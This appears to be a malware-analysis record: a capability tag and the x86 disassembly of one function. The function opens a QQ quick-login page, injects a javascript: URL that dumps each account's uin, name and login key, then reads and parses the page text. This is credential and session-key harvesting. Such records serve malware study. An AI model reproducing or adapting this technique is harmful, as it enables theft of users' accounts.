Function at 0x404852
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
push 8
call fcn.0040569d
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.0040569d
add esp, 4
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, 0xe650e1
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
push 8
call fcn.0040569d
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0xe650e1
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.0040569d
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x404904
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x404900
imul eax, dword [ebx]
jmp 0x4048f5
mov ecx, eax
test ecx, ecx
je 0x404944
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x40491f
push ebx
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x404933
push ebx
call fcn.00405697
add esp, 4
pop ebx
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40490a
call fcn.00405697
add esp, 4
mov eax, 0xe650e1
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push 0x10001
push 0x601443f
push 0x52014403
push 3
mov ebx, 0x4058a0
call fcn.004056a3
add esp, 0x28
push 0
push str.http:__xui.ptlogin2.qq.com_cgi_bin_qlogin_domainqq.comlang2052qtarget0jumpnameptcssparamu1_253Dhttp_25253A_25252F_25252Fwww.qq.com_25252Fqq2012_25252FloginSuccess.htmcssmibao_csslow_login0
push 0xffffffffffffffff
push 0xb
push 0x16014440
push 0x52014403
call fcn.004056bb
add esp, 0x18
push 0
mov ebx, 0x4067c0
call fcn.004056a3
add esp, 4
push 0
mov ebx, 0x4067c0
call fcn.004056a3
add esp, 4
push 0x20001
push 0x16014440
push 0x52014403
push 1
mov eax, 1
mov ebx, 0x44c5d0
call fcn.004056c1
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
jne 0x4049b8
push 0
push str.javascript:for_var_C0_C_q_aUinList.length_C_var_Dq_aUinList_C__document.write_D.uin___D.name___D.key__r___
push 0xffffffffffffffff
push 0xb
push 0x16014440
push 0x52014403
call fcn.004056bb
add esp, 0x18
push 0
mov ebx, 0x4067c0
call fcn.004056a3
add esp, 4
push 0x20001
push 0x16014440
push 0x52014403
push 1
mov ebx, 0x405870
call fcn.004056a3
add esp, 0x10
push eax
call fcn.00405015
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.0040511b
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x407c30
call fcn.004056a3
add esp, 0x10
call fcn.00405697
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.documentElement
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x406ab0
call fcn.004056a3
add esp, 0x28
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.innerText
push 0x10030
push 0
push dword [ebp - 0x20]
push 3
mov ebx, 0x406a80
call fcn.004056a3
add esp, 0x28
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x407c30
call fcn.004056a3
add esp, 0x10
call fcn.00405697
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404b22
push ebx
call fcn.00405697
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0xe6555d
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x404b4b
mov eax, 0xe65136
push eax
push 3
mov ebx, 0x406180
call fcn.004056a3
add esp, 0x28
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x404b83
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x404b7f
imul eax, dword [ebx]
jmp 0x404b74
mov ecx, eax
test ecx, ecx
je 0x404ba2
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x404b9b
push ebx
push eax
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x404b89
call fcn.00405697
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.0040162b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x404bf4
push 0
push 0
push 0
push 0x10001
push 0x601443f
push 0x52014403
push 2
mov ebx, 0x4067d0
call fcn.004056a3
add esp, 0x1c
mov eax, 0
jmp 0x404f1f
mov ebx, dword [ebp - 0x10]
call fcn.0040162b
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x404e7f
mov ebx, dword [ebp - 0x10]
call fcn.00401644
push ebx
push ecx
mov eax, dword [ebp - 0x14]
dec eax
jns 0x404c30
push 4
call fcn.004056a9
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x404c43
push 1
call fcn.004056a9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0xe6555f
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
test eax, eax
jne 0x404c72
mov eax, 0xe65136
push eax
push 3
mov ebx, 0x406180
call fcn.004056a3
add esp, 0x28
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x404caa
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x404ca6
imul eax, dword [ebx]
jmp 0x404c9b
mov ecx, eax
test ecx, ecx
je 0x404cc9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x404cc2
push ebx
push eax
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x404cb0
call fcn.00405697
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x18]
call fcn.0040162b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jne 0x404e77
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401644
mov eax, 0
cmp eax, ecx
jl 0x404d0e
push 1
call fcn.004056a9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x404d34
push eax
mov ebx, eax
call fcn.00401564
inc eax
push eax
call fcn.0040569d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x404d47
push ebx
call fcn.00405697
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x1c]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401644
mov eax, 2
cmp eax, ecx
jl 0x404d74
push 1
call fcn.004056a9
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x404d9a
push eax
mov ebx, eax
call fcn.00401564
inc eax
push eax
call fcn.0040569d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x404dad
push ebx
call fcn.00405697
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
push dword [ebp + 8]
push 4
mov eax, 2
call fcn.00405691
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
mov dword [ebp - 0x24], ebx
call fcn.00401644
mov dword [ebp - 0x28], ecx
mov edi, dword [ebp - 0x24]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x404df7
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x24]
call fcn.004056b5
add esp, 8
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x28]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x20]
push edi
push eax
push 8
call fcn.0040569d
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x404e51
push eax
mov ebx, eax
call fcn.00401564
inc eax
push eax
call fcn.0040569d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x404e70
push eax
mov ebx, eax
call fcn.00401564
inc eax
push eax
call fcn.0040569d
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
pop eax
pop edi
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x404c05
add esp, 0xc
mov eax, 0xe65136
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404e98
push ebx
call fcn.00405697
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x404eba
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x404eb6
imul eax, dword [ebx]
jmp 0x404eab
mov ecx, eax
test ecx, ecx
je 0x404ed9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x404ed2
push ebx
push eax
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x404ec0
call fcn.00405697
add esp, 4
mov eax, 0xe650e1
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x10001
push 0x601443f
push 0x52014403
push 2
mov ebx, 0x4067d0
call fcn.004056a3
add esp, 0x1c
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
call fcn.0040162b
jmp 0x404f1f
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x407c30
call fcn.004056a3
add esp, 0x10
call fcn.00405697
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404f53
push ebx
call fcn.00405697
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x404f71
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x404f6d
imul eax, dword [ebx]
jmp 0x404f62
mov ecx, eax
test ecx, ecx
je 0x404f90
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x404f89
push ebx
push eax
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x404f77
call fcn.00405697
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x404fb6
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x404fb2
imul eax, dword [ebx]
jmp 0x404fa7
mov ecx, eax
test ecx, ecx
je 0x404fd5
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x404fce
push ebx
push eax
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x404fbc
call fcn.00405697
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x404ff1
push ebx
call fcn.00405697
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x405005
push ebx
call fcn.00405697
add esp, 4
pop ebx
call fcn.00405697
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4